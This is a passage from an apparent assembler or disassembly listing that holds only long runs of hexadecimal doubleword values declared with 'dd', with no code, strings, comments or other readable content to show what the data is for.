0DDADA94Dh dd 4C6B253Dh, 20046CDEh, 0F8F9B8F5h, 832A05B8h, 84159E0Ch dd 29E28E14h, 8A1CF810h, 0D0B7E8h, 0FDF03655h, 855BB831h dd 0FB206089h, 900D7775h, 0D1549948h, 166718CDh, 0A106194Ah dd 7A36C130h, 9BE8BC46h, 0B6F70369h, 7B6419F4h, 6FD4A3F8h dd 8291C025h, 0E663404h, 72AE9703h, 23288158h, 0B31A0163h dd 181536CBh, 11ED885Ch, 702EB300h, 0FEAE1AF4h, 1C409030h dd 6A756FD0h, 0D120B1F8h, 16BC18F3h, 0E0D08281h, 20915140h dd 3FA1C880h, 59F2ADFh, 2BFC0E0Fh, 1BF0005Eh, 0B87C5619h dd 0E830515Ch, 67008CA1h, 0A2E191C1h, 2647C54Ch, 7840897h dd 779D2A0Ah, 197090CDh, 60F618F5h, 2705389Ah, 0EABC3A4Bh dd 5A5E08C2h, 39422710h, 675520C0h, 5CC8782h, 0F4221348h dd 9A0EB048h, 0A3B25476h, 0E06C2825h, 24E2826Dh, 0B2DC9420h dd 95309CD0h, 1517126Ch, 0A0CB97h, 0D26CBD28h, 0E07A4268h dd 638A3019h, 0E03282B0h, 0E2589D67h, 0DE5EDEC2h, 716088A0h dd 0A2A39786h, 900A5FA1h, 5C8DFE30h, 3F759400h, 3EDA299Ch dd 48C706E1h, 486749C1h, 0F697CC00h, 0B61F63ECh, 0C0C60578h dd 8509694Ch, 88A48E78h, 7484C198h, 9C206B43h, 0E67E4C5h dd 450FC01Eh, 0B441B464h, 834F21D4h, 0BEC3F880h, 0B28920E9h dd 9D5029B7h, 0C1D60804h, 70F31B60h, 15B400FDh, 721247C8h dd 0F94A7C36h, 84006812h, 7B461026h, 0C01E5EF0h, 361902F4h dd 0CF806567h, 0D9B94C51h, 2DF43080h, 8221E29Dh, 32D19CA8h dd 1B419094h, 0C874DF51h, 561F3D11h, 0C28FE45Ch, 4A4110D8h dd 3032E989h, 0C68AE100h, 0A7D1402Eh, 755C6C98h, 805E88BCh dd 5B131C80h, 4100939Dh, 58ABD0E4h, 604A53h, 0DFD70E3Bh dd 97377F33h, 51E8567Dh, 0FC6C4800h, 627D67C5h, 91989625h dd 0B31B805Ch, 990D36CCh, 1200CE18h, 20FA54B3h, 322094B8h dd 0C4330C45h, 7EF8ABDAh, 6D81FB03h, 0E42A869Dh, 281190A0h dd 44B83967h, 0FC2A7BBBh, 0B0A80868h, 349EFBF6h, 8A465Ch dd 3A1922A2h, 0BF8725Bh, 0A997BF90h, 7C043CF1h, 4D00FB9Dh dd 0AFE418B2h, 0F3B011B5h, 4728206Fh, 5F03D21Fh, 0C3297B7h dd 0B9CAC8B0h, 5FC9175h dd 0C2A4353Ch, 55C0DBAAh, 615050A3h, 6900A7ADh, 0F27879D4h dd 0B4DD6ECh, 98A3C823h, 60B81404h, 0FEA06347h, 0C00642EAh dd 0A2635F3Eh, 305DF0F8h, 35A8286Eh, 0FC5A194Ch, 70EBD090h dd 0FC33F9A0h, 0FD305BA2h, 2490B08Ch, 404416B4h, 0A45D78E6h dd 0B0AA3502h, 40470F93h, 49E57C08h, 852994DFh, 29AC8BACh dd 18B5D0D0h, 80EB58h, 0DB974FD3h, 0B2DDF796h, 0FDA95A07h dd 186D03DCh, 71F05C66h, 25EA89A5h, 2A561B0Ch, 1AC17044h dd 0A0E09DACh, 0E7F1B882h, 998388FEh, 0C34E79DBh, 0BA36C8A2h dd 0D6BB041Dh, 0F260DA24h, 0E4C70054h, 0BF49F4C1h, 51FE19h dd 0F03EE252h, 44D3AF0Ah, 3F2A8505h, 0B0AC10F6h, 8444B489h dd 6001BD46h, 2C8A363h, 88D40C07h, 6302583Fh, 0DAE230CEh dd 0A19A807Ch, 15957F34h, 0F8FE9E56h, 0A9489300h, 0CD98520Ch dd 24C7CEF1h, 35638544h, 0D51B59D8h, 34C87A00h, 0AD697898h dd 0CFF22546h, 31473403h, 75E4C100h, 0A23A9EFEh, 98320E0Dh dd 4E003B42h, 80FF5D62h, 0CC449A05h, 34B12016h, 3EBBDBE4h dd 7B05FE22h, 158CB07Ah, 88BC7C8Ch, 0B22DA8F8h, 0B008E85Eh dd 0C1B08373h, 21B75089h, 32FE7C98h, 34F4CE01h, 0F6002DF8h dd 5CECFCEDh, 0D0E546h, 0D9C8909Ah, 0D4F8AEE7h, 71491630h dd 340628h, 644C0F04h, 6FDFADFEh, 970EA406h, 4FB95882h dd 0EBF04217h, 8260B302h, 0F73967DAh, 0A7AD0064h, 0F18AA913h dd 0CBF80D89h, 2D310816h, 0ABB8C0h, 5A28B641h, 0DE3B04A2h dd 3ABF4617h, 9AD6400h, 28F30D5Eh, 0BDE0C1F0h, 0C68108A1h dd 72102021h, 6CB7058Ch, 0CEE71519h, 0BF260034h, 3DB7F6Ch dd 0A26B0204h, 0A1A47A82h, 94B1A050h, 0C930228Ch, 1BD70086h dd 0E7F4AFB6h, 0AC009635h, 0C8A1BF8Fh, 2F4A4E0Fh, 0B068CE21h dd 0DA007F35h, 106A1304h, 1787C8BDh, 4D26893h, 0D1F8F5F6h dd 6897C9CCh, 8C5AB8E0h, 0EF01FB72h, 4CB44524h, 5085F929h dd 0C0C09B75h, 0DCE27B24h, 0BED0A265h, 120224CCh, 2291CC83h dd 0B4C99D2Ch, 0E22C202Eh, 60752940h, 97043127h, 0DA024A62h dd 5E1B49BAh, 165C7882h, 0F0F54CADh, 0C654A59Ch, 5F6047C8h dd 44548EA9h, 9E2A00ACh, 53855A78h, 6778D210h, 34F22904h dd 0ECD09D54h, 4C27C4Bh, 32474081h, 1B50C87Dh, 0D6067E18h dd 95DD1770h, 35204464h, 43AF03A8h, 2DFFACFCh, 449521BEh dd 759F001Ch, 0D2987858h, 0A9004C3Fh, 0A0427B39h, 2DD99EFh dd 0C7EBD546h, 0B8E9A621h, 7838CD82h, 97880538h, 0CCD07EAEh dd 0AC5D0195h, 0B31805D4h, 0E28536D1h, 0FEFC068h, 3B4EB3h dd 22F4368Ch, 0B6D25498h, 34F1D5E6h, 0BF00A9DCh, 36CA0DC5h dd 0B00BF5B4h, 0A864952Ch, 960480E0h, 28465E15h, 4179D0F4h dd 9BB9EC29h, 0CB4D210Ah, 0AF3AE8A4h, 44AC44AAh, 0AD319773h dd 0E8A2994Eh, 0EE00506Dh, 60D71A7Fh, 9A00329Dh, 4F52FE29h dd 291BC2Bh, 5A8F8B51h, 3CC13DDBh, 0E9930703h, 3E410097h dd 0FD2B1287h, 50078ACAh, 0F714D1B1h, 0FA09D8E2h, 5C540050h dd 0A48FEF10h, 0DE00FF89h, 0CBFE2EA8h, 4B04FBBh, 7AAE3D5Eh dd 1A980224h, 0E0604046h, 0E439BD43h, 6DCC60B3h, 0D43F80ABh dd 53C38B70h, 9ECD031h, 0BE486415h, 0A0393005h, 5D246764h dd 97AD5C5Eh, 46BF40h, 0FC894E32h, 3C5377E0h, 82A516AAh dd 56936020h, 18BCD12Eh, 639F2880h, 547E9BFFh, 58C1DC6Ah dd 193CD491h, 0EE808CAh, 47443DCFh, 0FE624581h, 0C298E820h dd 0C0B40632h, 0D82AC9ACh, 0FB48AB00h, 1F2FEB1Ch, 806A5C12h dd 2061B417h, 0CDA7BFCh, 904964Dh, 6658A1E9h, 597C772Ch dd 212F3470h, 9991AC97h, 0B321B681h, 2DCEEC18h, 0A0FC1BBDh dd 251371CFh, 28D26A14h, 8B4D7D38h, 7C984C2h, 244BFCA7h dd 0A4F4E908h, 0E8DC0077h, 314C7691h, 0D212A78Eh, 4CE8BF34h dd 1B1AC1DEh, 0FCDF8533h, 90BD978Ah, 23FE62Ch, 7B676BA3h dd 9CE2121Ch, 9CC13CC2h, 8EF030A5h, 41C15E41h, 3D70CC2Bh dd 4ACA5C40h, 23302E97h, 0AB9D0063h, 84BF618Ah, 59314201h dd 0CE19E246h, 7F06982Ch, 0E96E7D30h, 0AFA79718h, 320A241h dd 0DF84C856h, 0B6F47A7Eh, 0B1A7B054h, 0AE1B0969h, 7867FFE2h dd 0F8605864h, 0D63F695Bh, 0E617017Bh, 0A64A3348h, 0ABD6B431h dd 0E4844598h, 190A60CCh, 281A0946h, 0D85E857Ch, 0DC2F4D02h dd 1E1C7874h, 0A8FDF1C8h, 0E455A098h, 387CF98Ah, 0A221C881h dd 6C2080B7h, 0C10293D1h, 85B41A2Ch, 5854500Eh, 0EC542614h dd 9A5C8CD8h, 3B7C01EFh, 0C099BFC6h, 0D30F4620h, 2E4C0460h dd 0B4451C01h, 3C5D24CDh, 0C4CB19A2h, 283AD832h, 8CD8EC98h dd 1D0FFEEEh, 0B8D630h, 0F319267Bh, 0D95A2F35h, 14CD1491h dd 32132C82h, 81441C40h, 0FC2C9D5Ah, 1D9F75E9h, 5EB063F8h dd 30A58218h, 14685A19h, 2CB05D59h, 0EB2D921h, 4A90907Ch dd 8423682Fh, 0F5340D00h, 7C48872Ch, 994C2719h, 363D3080h dd 0ACA4DB8Ah, 9105C521h, 0ED1F07DEh, 85CEC83Ch, 1C97CEADh dd 1B204156h, 39315435h, 0DFFE2011h, 6DD97C80h, 0A496CA86h dd 97303101h, 457EACA9h, 3DFAE3Ch, 0B61DCC6h, 0D61928E0h dd 7F104F5Dh, 155A1498h, 20F84C5Eh, 4F3272A1h, 3DD42E9Ch dd 7902C30Ch, 2E648B1Bh, 0C4737661h, 263DA7Eh, 3D00AA0h dd 0C32316F9h, 98898665h, 0B0CCFCDDh, 0A700F573h, 6BAFDCEh dd 9673839h, 0FCEE814Bh, 33C25402h, 82157487h, 607AD226h dd 0B0963920h, 25A22230h, 3B011BE0h, 7097C2FCh, 23EDC720h dd 0FBF5C840h, 0DD428464h, 0A8643069h, 41EE5800h, 69393DB8h dd 464524C7h, 774811F0h, 0D4F2F14Ah, 9C743208h, 25203428h dd 0FB2A40B3h, 888C05FFh, 0EFFC00D7h, 0AE99F155h, 50008312h dd 97AF341h, 91B4755Bh, 8095AD84h, 0C6801291h, 709A6F18h dd 7E842995h, 525E8528h, 69900F17h, 7CC0A212h, 0C15542Bh dd 82DCD701h, 0F19098A4h, 0E32A81EFh, 0EA0DA244h, 5420D8E6h dd 5E38B429h, 0B43E9E46h, 0C821D28Fh, 0CA5A18E3h, 6D600EB1h dd 6C5E7294h, 8410A023h, 40DC170Ah, 0BBA65DBCh, 0E69D9E07h dd 7B116BA7h, 442B6832h, 0D28E19F8h, 28C06DBCh, 0A10083BFh dd 7FCB1AB2h, 4E1D7876h, 3B1C4008h, 5836516Fh, 93383Fh dd 0EE4657E1h, 3D6B7D3Ch, 0AA80FF62h, 0A9B0DDADh, 179D4BB6h dd 968591B8h, 5473770Fh, 0C0A10487h, 0DF82D8AFh, 2918F05Ch dd 0CC6FE9h, 4F96280h, 7CEC8BBEh, 1AACCA01h, 482EFF4Dh dd 0E846B989h, 9681DCD1h, 318E7D67h, 5923A862h, 95B31401h dd 0E6536h, 1AB30BEBh, 15D51A9h, 3BC1D761h, 86270E56h dd 1B972850h, 0B48578EAh, 5E46746Ch, 4C350204h, 0ECE8A9h dd 0B6312980h, 2982A6C4h, 9AFC3D04h, 94403959h, 30D6FF0Dh dd 89B54408h, 6C4ACB31h, 0ACF6F304h, 0C13517D0h, 8AC850CBh dd 0F4109AC7h, 16B38006h, 41303B2h, 44E11E60h, 5083956Ch dd 1A90928h, 0CE000D02h, 7C34731Bh, 549AE6EEh, 89F8AE4Ch dd 88F48433h, 58D8D8ECh, 6D883056h, 9CBF029Eh, 5289E9CAh dd 6044A257h, 21C40091h, 0D47CCCEFh, 191E3000h, 98361D5Eh dd 1CA91648h, 81B801A4h, 0E899AB0Fh, 0CC5CA3DBh, 9DD12134h dd 8490E22Ah, 0CD203962h, 12D1004h, 4DF8968Ah, 6E5A7060h dd 5423020Ch, 60CAACD2h, 0B13156E0h, 2761089Ch, 84DF2A65h dd 50E8BC80h, 5CEA792Bh, 3449490h, 884D5221h, 41DA2DC4h dd 4ED22132h, 0E2D4F084h dd 21BA6Ch, 0F70DA895h, 2BBFD90Ah, 39C4282Eh, 72ED2140h dd 40009153h, 0B7448501h, 0A02055ECh, 0B92446FCh, 21109D88h dd 5931111h, 84815EB8h, 85B4A200h, 0B58171EFh, 0D84BC6A9h dd 54A44A21h, 0A1465Ch, 0AA5C9BDAh, 78CC514h, 0A3479DEDh dd 0A89C0482h, 5B578960h, 0C27D86Ch, 1CDC5658h, 9293F518h dd 9834D4E4h, 0AC730534h, 1532FD4Ch, 0F0A9C4B0h, 0FE88650Ah dd 0C24384DFh, 84ED9A1h, 238D4230h, 11A4ACBEh, 0A2A48E0Fh dd 713D8160h, 9BE06E90h, 308859C2h, 9360C74Ch, 802568F0h dd 0BD488F42h, 0C4EC42E8h, 6D0128B0h, 22CE4E36h, 4AD2DA4h dd 44986CD4h, 35F209F5h, 5C794412h, 1CE3DC12h, 31DC0BE3h dd 0F3E0025Eh, 75F50068h, 0DAD6D93Bh, 989143FCh, 0C2FDC51Dh dd 0E00B6B27h, 99E48C65h, 0D3128160h, 0D1470931h, 0C8D811B8h dd 1F8E003Eh, 561B2E18h, 0E0C1D89Ah, 0A1F1CA98h, 0AA0B146Ch dd 0B80C7BFh, 476CF745h, 42988CBEh, 1CCA8C09h, 0CE87B9C5h dd 9013F576h, 215C11F0h, 80305CB1h, 900FF21Ch, 0BAEB0072h dd 16B6E928h, 0D9796D88h, 0FF80CF13h, 29FA2CA1h, 0BFC0A832h dd 0BB05C17Bh, 3DFB9EA6h, 448F8B4h, 5ED7AF6Ch, 0DCED4Ah dd 0D0709359h, 0F64FF6F5h, 0E3670F17h, 5E0097CBh, 40EB2EC8h dd 9AA78627h, 5EBC5410h, 1D86127Bh, 806A3B77h, 0C448507Dh dd 749C23BDh, 482F9C13h, 3C3123Dh, 3BDF62FAh, 21C58838h dd 91A44B97h, 50FB17C4h, 0BD87388h, 287B942Eh, 56C47E52h dd 84005A46h, 656A89A3h, 6703F737h, 95BB8C29h, 34DFD89Eh dd 463F1373h, 71F8D0ECh, 0B7251B0Ah, 4D4D8C7h, 0FC4D578Dh dd 0AC2CED9Ch, 81480141h, 0ECA39A17h, 60D03AE7h, 4CB1B4h dd 0F52A2337h, 0AB10506Eh, 9D181300h, 5219CAC0h, 283081AEh dd 78889600h, 54120069h, 6BFB4E1Eh, 1800B486h, 207A1084h dd 143BA6D5h, 0D46F1BACh, 0C143F7ECh, 5F289F00h, 0E2FEDE04h dd 806D1430h, 51BED1Fh, 35F1DC01h, 80D4953Ah, 707EDFD0h dd 606ED55Fh, 0A2BA8500h, 0E621C9F4h, 0B4F83060h, 0B7055456h dd 9C447401h, 0A2FC63AEh, 128D30CDh, 8220F498h, 11A506D0h dd 4964AD97h, 0F0430A5Bh, 0E704D63Ch, 83A90680h, 3B5900E6h dd 776C5FC9h, 0C8904BDEh, 44479100h, 1BDDB581h, 7C320038h dd 0FF63D773h, 0C63E10C3h, 0E27E8BF6h, 0BAD0A0C8h, 0F2D5E60h dd 61C01B16h, 0A9C5B982h, 2AACCC49h, 0D823342Fh, 0F6DFAD01h dd 0D870254Dh, 2B72307Eh, 0A953FDE0h, 2B089B5h, 6305A80h dd 4D0928DFh, 91F3469Fh, 0E8E0BFF4h, 63C8A870h, 10340074h dd 5F0A3A1Ch, 9F04E4FBh, 0FF02DFD4h, 4F608Ch, 77A1A2A4h dd 85523948h, 0C3B32B01h, 5099CCBBh, 2D41E3Ah, 0D6FA23E9h dd 4B623CD4h, 60BB406Eh, 3A6717DFh, 88648B97h, 0F3E5C063h dd 0B00BD75h, 422025DDh, 5AC1C482h, 0B214849Dh, 0C1F3F19Ch dd 0A900BE0Ch, 713BCE1Fh, 957CA04h, 594CAD0Eh, 0C858C4E0h dd 0CE2F841Ch, 1727975Ch, 808A9170h, 11717DD3h, 6EDA00C0h dd 8163B053h, 974848E2h, 21DB4018h, 3F1A86Eh, 0E0EF677Bh dd 3B5E699h, 39AC806h, 85E0C342h, 3E16022Ah, 0CC8BABD5h dd 51C4CDC8h, 396ECF8h, 7FBB985Eh, 0AD5AD0C0h, 46BA1D02h dd 42A442BFh, 0A8C406Ch, 352A1C0Fh, 4C176586h, 9B80F391h dd 0F47E6FAFh, 81D02304h, 0DCB4221Dh, 1BE43829h, 0BAC45380h dd 5DEB6D03h, 0CB30B812h, 3EC3B090h, 1C505CA7h, 1C8C8BE8h dd 416A1B63h, 0B7F5473Ch, 6C22E9h, 143B464Ch, 2B1ABCh dd 84418226h, 2EB6DE6Ch, 8D649B02h, 0F8446504h, 0F1514450h dd 39ACAD0Bh, 44CCE7A0h, 0ED446065h, 74980021h, 30903386h dd 35B76A1Fh, 2C358048h, 94A67C84h, 378E980Bh, 0BBA4318Dh dd 22F7871h, 311DE94Ch, 0C848297Fh, 1838090h, 4418265Ch dd 3FE9AF30h, 0CFF36C44h, 2AF71180h, 549A0006h, 0E0CA8B9Fh dd 4C2734CEh, 0F404C07Dh, 0C5312529h, 7E736020h, 8A80FE96h dd 9157993h, 2CE0E1Dh, 0A8801C20h, 7A0FB398h, 80D2FA49h dd 0BA143577h, 0AB4B00ACh, 48B0235Ah, 8001A7CBh, 0CF530342h dd 307CDC27h, 658C5EBCh, 0E92AB168h, 0E0B22844h, 58D934B1h dd 34F0B418h, 0E267B807h, 2BE75DCAh, 0E894A3A4h, 0F0377480h dd 28584EBFh, 8A97E9ACh, 4674E0C4h, 88BE07DBh, 0DDE7D711h dd 0D6F4E2B9h, 0C15850E8h, 3A0C5682h, 0DE64CA40h, 20D0CE54h dd 0AD23FBF9h, 873BE380h, 0F78C49A8h, 6B48C800h, 0AE34F5B5h dd 582E9F8Eh, 0C2511B00h, 0E838C390h, 0E8E04897h, 68008C8Ah dd 0BEEF7884h, 58F88156h, 5512CC86h, 373C09B1h, 674170FEh dd 684A9739h, 49C05EC8h, 0E69B187Eh, 8880958Eh, 0A194A9Fh dd 0CC60019Dh, 0F2E4C809h, 0F1280BC7h, 45CAFC1h, 4C20589Dh dd 0CEC906Bh, 50CF7h, 60C06FB5h, 79BFAC65h, 10909C77h dd 4B0DB446h, 7B88A463h, 0FF42A82Ch, 26D74B70h, 40B04741h dd 2225691Ch, 89DD0600h, 465AFAFBh, 0D07A2F7Bh, 76800080h dd 0BC9816D5h, 98A4C925h, 2D82E224h, 0E0EC37DCh, 306F9B06h dd 9F11877Dh, 0E483ACE0h, 84100C9Eh, 3784B2C8h, 4CE09154h dd 0DA7D2F67h, 0BCBB9885h, 6CAAC0F8h, 31192B2Ch, 3138BF45h dd 5A586281h, 541350B6h, 5EB8C12Dh, 9C6B7B9Ch, 56873100h dd 8A5E15FEh, 718C4A40h, 33022FC5h, 21E28C23h, 1D0490C4h dd 0D8C8FD80h, 9B4281A1h, 89A72226h, 5A7E3111h, 7B560994h dd 94E2D8E2h, 0FD5E7361h, 7C427AE3h, 76A01D76h, 74206AA0h dd 35380B46h, 87E2C980h, 0E1B97FF4h, 80DAFE12h, 69BEE0A0h dd 40009168h, 7E159778h, 20005E4Ah, 64DB81A4h, 6DF9382Ch dd 9B462D79h, 2E510CA3h, 2A806CE3h, 0A2BF6DF5h, 0DDA9EEA4h dd 18D46432h, 0EBCA1240h, 61D40571h, 8C1B509h, 8C934098h dd 0B9A64407h, 887F180Ch, 0C69FC931h, 28322008h, 7266F9E2h dd 1613E98h, 714E3BAh, 2E6F3B6Eh, 8C7E782Fh, 85B42900h dd 0DC06DFE7h, 600B5417h, 0A5541E60h, 30CC8263h, 0B440BA89h dd 200B433h, 7901A4B2h, 3B800A2Fh, 0D670D5CFh, 349C0039h dd 96C1C4BAh, 48951AEEh, 14767A0h, 80C7B632h, 6E33EC82h dd 0F40A9492h, 2ECD03D4h, 16D157C3h, 6E7C75C1h, 0D923582Fh dd 0ADC87F00h, 2F46584Bh, 8902415h, 6DFAAF99h, 0A4488541h dd 0C78106C6h, 49FC79D2h, 2574EC3Ch, 0A4B4E8B6h, 7E82806Dh dd 1031243Dh, 350529D5h, 0F9E35A5Eh, 0E8468408h, 0BF04D4BDh dd 0EC454C36h, 0C84B01B8h, 0FBA53887h, 0ACDC813Eh, 2EA181C1h dd 2C6E4F92h, 202D3824h, 78C1675Ch, 287D3123h, 0FB24823Eh dd 0A1713C71h, 1D3B9D18h, 85398071h, 731F41CCh, 0A11C5A81h dd 0D03B7F30h, 550F8A23h, 679FC00Ah, 31595Ch, 3D35F162h dd 7C324B78h, 18008949h, 973973C9h, 0C3230558h, 0A0EB25C1h dd 6D027750h, 0E8B6ACA5h, 95687CB3h, 0D23990FEh, 9A614B00h dd 37F84388h, 2F53B803h, 0B00F48FCh, 9080685Ch, 2B904E7h dd 91EDAE97h, 6E139F4Ch, 9D834C9h, 0E3170033h, 0DFD6932h dd 443C6A79h, 0EDB409CCh, 2DC8F0E8h, 0E0C7AEA9h, 4660F864h dd 9609AD84h, 7A3A3615h, 0A0F95B38h, 9F9F2ECCh, 89CD11B8h dd 3A9C044Ch, 570B8ACh, 2A759380h, 0B448ABAAh, 681B40FEh dd 11249041h, 6F192CCAh, 3F0D0E80h, 0DB23782Bh, 0BF4F7E00h dd 2CF2E84h, 0C7187BFDh, 0D4F8E9F1h, 7882861Fh, 21CA12A0h dd 0AF64B0BAh, 75BE170Ah dd 0F9A7943Dh, 541601F0h, 701397E4h, 6D05322Ah, 38CC8830h dd 4439C60Fh, 0C4D2F508h, 9131066Eh, 91F1C80Ah, 14083CB3h dd 0ED4609A2h, 1E9364D6h, 74C76000h, 996D8316h, 88501654h dd 0A013E1C0h, 180F28E8h, 0C0A05336h, 0BBC90A5h, 0E47C30FCh dd 8BC4F8E7h, 0F5163060h, 33E91400h, 0C1C87439h, 5C5E5031h dd 0B542770h, 0D9443447h, 0F91E3E60h, 202D1DE4h, 41FCC8CEh dd 0C0F67Eh, 0A79D0DD3h, 8FCDDD81h, 882A7C0Bh, 82C82936h dd 0F2BB234h, 9230ACD6h, 90AA6C0Eh, 14599925h, 0A518DB79h dd 90468600h, 0C7CF621Ah, 0AB034h, 6E61F1A9h, 13B65DE0h dd 73209200h, 0D9CD714Dh, 0F839B080h, 9030C2C4h, 1CD6EFF3h dd 0A12FF011h, 0C1E3097h, 1FA180E1h, 5847B94Bh, 36702998h dd 312E7CE4h, 0DD0FA002h, 7D53833Ch, 2F10240Dh, 759905ACh dd 13CCA96Bh, 80DB1526h, 0B1A85480h, 2409CB58h, 8BBCA575h dd 0F0F10480h, 706458B9h, 92408198h, 0C5310185h, 70009833h dd 6B482019h, 28C45FAFh, 8F012806h, 7C31F1C4h, 5D6C018Ch dd 0C0F76371h, 0B5DF2E60h, 46745820h, 2A028577h, 0ABD60775h dd 0B1D46011h, 2C229D0Dh, 0BE00A06Ah, 82676Eh, 2FF0DB62h dd 3E693F6Fh, 0B99D550Eh, 93B244C4h, 0CD326090h, 0D72A80F7h dd 97CB163Ch, 8C2571D5h, 0E9028080h, 6DB4132Ch, 93048011h dd 1827F6ABh, 7CB0C07Eh, 1644E7Ah, 0AEE9C4C8h, 2C072AE0h dd 3C81C31Fh, 119EDA01h, 5D2739BDh, 0CA1088ECh, 18759698h dd 595E15B9h, 0C89420D2h, 64A63200h, 0ED01B5h, 0E4A244Bh dd 0A5C436F0h, 7C8294AAh, 220E02D6h, 56061DB4h, 9C4572C8h dd 7460CEC4h, 2C78E4A0h, 26DD4C18h, 74563558h, 0D38A08Eh dd 2A6444E0h, 96DE320h, 51F1E928h, 8C2108D2h, 3E30918Ah dd 0FDC19AC7h, 8824DFF9h, 138142Ah, 72C1811Bh, 1047D9F5h dd 8EA48018h, 86A152E7h, 0CA851091h, 0CC337EC4h, 1F2F88AEh dd 0C21927C9h, 2A6D34C1h, 0EE0DF088h, 0BD24B36h, 0A8900A24h dd 0C071A7EDh, 0BA7ECB02h, 0E81B1A9Eh, 54215C54h, 169A4B4h dd 0D71E306h, 0F8F5244Ah, 2D7261D8h, 33041B71h, 7CDDCA8Ch dd 0E880F095h, 0B49C5E8Fh, 3A70D6C8h, 67987803h, 112AC65Dh dd 3D4817B0h, 0D45C00BEh, 0FFC74EB2h, 44E63E10h, 34791A2Dh dd 0DFBA8C80h, 191C124h, 5A6E63EDh, 2909997Ch, 0A36B00A4h dd 5BD415B0h, 0C4370923h, 443FEE1h, 19CAB804h, 34E0552Ah dd 3BEC2032h, 24808F9Fh, 44AB7360h, 0AB1E5A0Ch, 3C12808h dd 98C82A82h, 36182112h, 0E2DCD0C0h, 4849120h, 8A4F5E19h dd 0C12806B0h, 0F4184A89h, 0B1436109h, 0E427B02Ch, 0CEC11D24h dd 0F656AEA4h, 4914A240h, 62912CDh, 0D4B01298h, 0BC5CF858h dd 70C143FDh, 49062271h, 342DFF78h, 0EB18B081h, 0AB6D9989h dd 0E8DE8474h, 0C9F40591h, 0E51CD437h, 2A220C4h, 0A853CB26h dd 0B4BA2480h, 0BE035FEh, 853AAE15h, 59D93471h, 28167418h dd 14054E51h, 53C37E81h, 0F0D4DC7Dh, 85BCC0BCh, 0F409008Ch dd 1505B3A9h, 47A7ADAh, 6DC0449Eh, 942B2E56h, 6087A530h dd 3047C9E5h, 8F60CC64h, 0F654CEA0h, 6D0099D8h, 8B6148F1h dd 7A55FABh, 2DC537D6h, 4C7491B6h, 706860DFh, 1A7000B5h dd 4BE946ADh, 84AC8F96h, 0B330C1D6h, 2500437Ch, 3BAA4BCBh dd 27325255h, 0B8986982h, 0FF2DB911h, 3E04C4B0h, 0C8C13219h dd 8C4AACE2h, 2022B8E4h, 0C1FFD9EDh, 35240137h, 9713C86Ch dd 0A20897A3h, 0C468494Ch, 3417B956h, 74B9449Bh, 271A5E08h dd 0F1306D01h, 43D4A65h, 454CAD82h, 753C0CF0h, 243B4B21h dd 500F723h, 859CB84Eh, 80DA2D82h, 987E6489h, 6438C727h dd 1F4E60A1h, 0A6DB00B2h, 5FA269CFh, 7A15E151h, 11983538h dd 2F5F1DC1h, 3AFE232Ch, 9C5B3CAFh, 8CDB173Fh, 0E92A1080h dd 0E0C96DDh, 8040A1CAh, 4DC178FFh, 0AC32122h, 0D5D1B437h dd 912C29A4h, 17AA00A9h, 6D87FBCh, 4B249CC4h, 0B79D071h dd 0A15D18EEh, 0D7E4FE00h, 3AF78A92h, 8090B647h, 9668166Ah dd 990093A5h, 45853173h, 7E36137Ah, 0A79700B6h, 0A0FAA3Fh dd 592507E1h, 10AC0E1Ah, 57511712h, 0A46E50h, 82305DCAh dd 2D23AD6h, 0C8801E7Eh, 0CD02C6Ch, 665E5F98h, 0D523A83Bh dd 7E381600h, 5B20F1Ch, 469498A1h, 0E45CFA14h, 0E4203F16h dd 24BDABBBh, 89C0CF30h, 4D02E63Ch, 0BC582880h, 1638BF12h dd 2CB250D0h, 0FCB92EA4h, 0D8CB2F54h, 6C54C6A2h, 1667B883h dd 81310562h, 0FB9896AFh, 12533408h, 340CD072h, 9B7F54Ch dd 4C0C44D8h, 2EFD34A6h, 0E8C85860h, 0A3420BFFh, 0F07E7DF8h dd 0DF14C010h, 0F7228430h, 7CE4B7h, 88336C76h, 0AE1D6430h dd 0E74CB51Dh, 0D545E4DDh, 64817634h, 0E800B3EAh, 0E95F4C36h dd 588F1092h, 0E69C4B28h, 38D0B710h, 0BD0A74h, 0DB7E18FFh dd 0DCAE30B7h, 908BCE2Eh, 88B8A614h, 4464ADD5h, 8B073071h dd 0BB11EDCDh, 0F6002725h, 9D98656Ch, 192913ECh, 0D1E4803Ah dd 9BE2C58Bh, 0D678A891h, 0EF0086C1h, 4530B5C9h, 0FEACEEFBh dd 0C0BB24C7h, 43F9158h, 5675F1C8h, 8B3AA0DDh, 0C058C88Ch dd 0CE57029Fh, 0F4C2AE01h, 0D9067E14h, 0EF40657Fh, 36B81C30h dd 0DEF52EC4h, 537B9FC8h, 81804078h, 0BB9E32CFh, 5FE51600h dd 0F2F4B6Dh, 3FDC1F80h, 0C4BA008Bh, 0DFC1B42Ch, 3E44D894h dd 7B1CF052h, 0B856DA01h, 32E646A1h, 0A0B47985h, 3A288920h dd 947D808h, 4C5CA17Ch, 0E08B6AC5h, 8CC0DBC8h, 0B8885A5h dd 4AEEF4BAh, 68976C10h, 8B80FC1Fh, 719B4540h, 257C5C11h dd 0CCF844F1h, 86F045BFh, 69CA99CCh, 24CD2EE9h, 4F0B0FCh dd 0E55D73A3h, 30A9BDh, 108FBB8Ch, 5F21489Ah, 306CC72Ah dd 80C83914h, 4B3935Eh, 0CE8D848h, 97E08Ch, 48E5BEDFh dd 13ED2857h, 0D21C7605h, 25EB32ABh, 0F268A2A0h, 94743084h dd 0D4975202h, 5FB9D609h, 7497CC0Bh, 80E10C1Eh, 2AC913A4h dd 0B22599A6h, 0FC5967h, 402CDA0Dh, 0CD12D046h, 0C6013B96h dd 879E264Dh, 543490CFh, 58E195B1h, 58272044h, 98F4A15Eh dd 0D4504035h, 873CE219h, 887B1918h, 5D09C06Ch, 2AE5371h dd 10BEB254h, 0B8941C2Dh, 9ACF242h, 423E947Eh, 0D5B8544Ch dd 2E91038Ch, 6C431967h, 0C894FEF8h, 0A921C137h, 0B92E44A0h dd 4CC024D8h, 0A8CD499Ch, 963CE9C0h, 109E0192h, 0F2E679B7h dd 0FC0B2B1Ah, 94CCF011h, 3209DC4Ch, 0D6F723C7h, 10A951E8h dd 4064E27Ch, 9644E968h, 97CB004Bh, 0AE1A8A53h, 1000146Bh dd 0A939FD92h, 6017465Ch, 0A7B88925h, 5D50671Ah, 4C2F3730h dd 0BEA8C035h, 60C25329h, 30DC0BA3h, 77B04C79h, 0BB39000Dh dd 13B2B76Bh, 700D9774h, 61E5E71Fh, 808CDB2Eh, 0C034DD9Fh dd 0D69D7CACh, 170403B0h, 9AC4FBF3h, 0CECEC820h, 7C67AB21h dd 581031C5h, 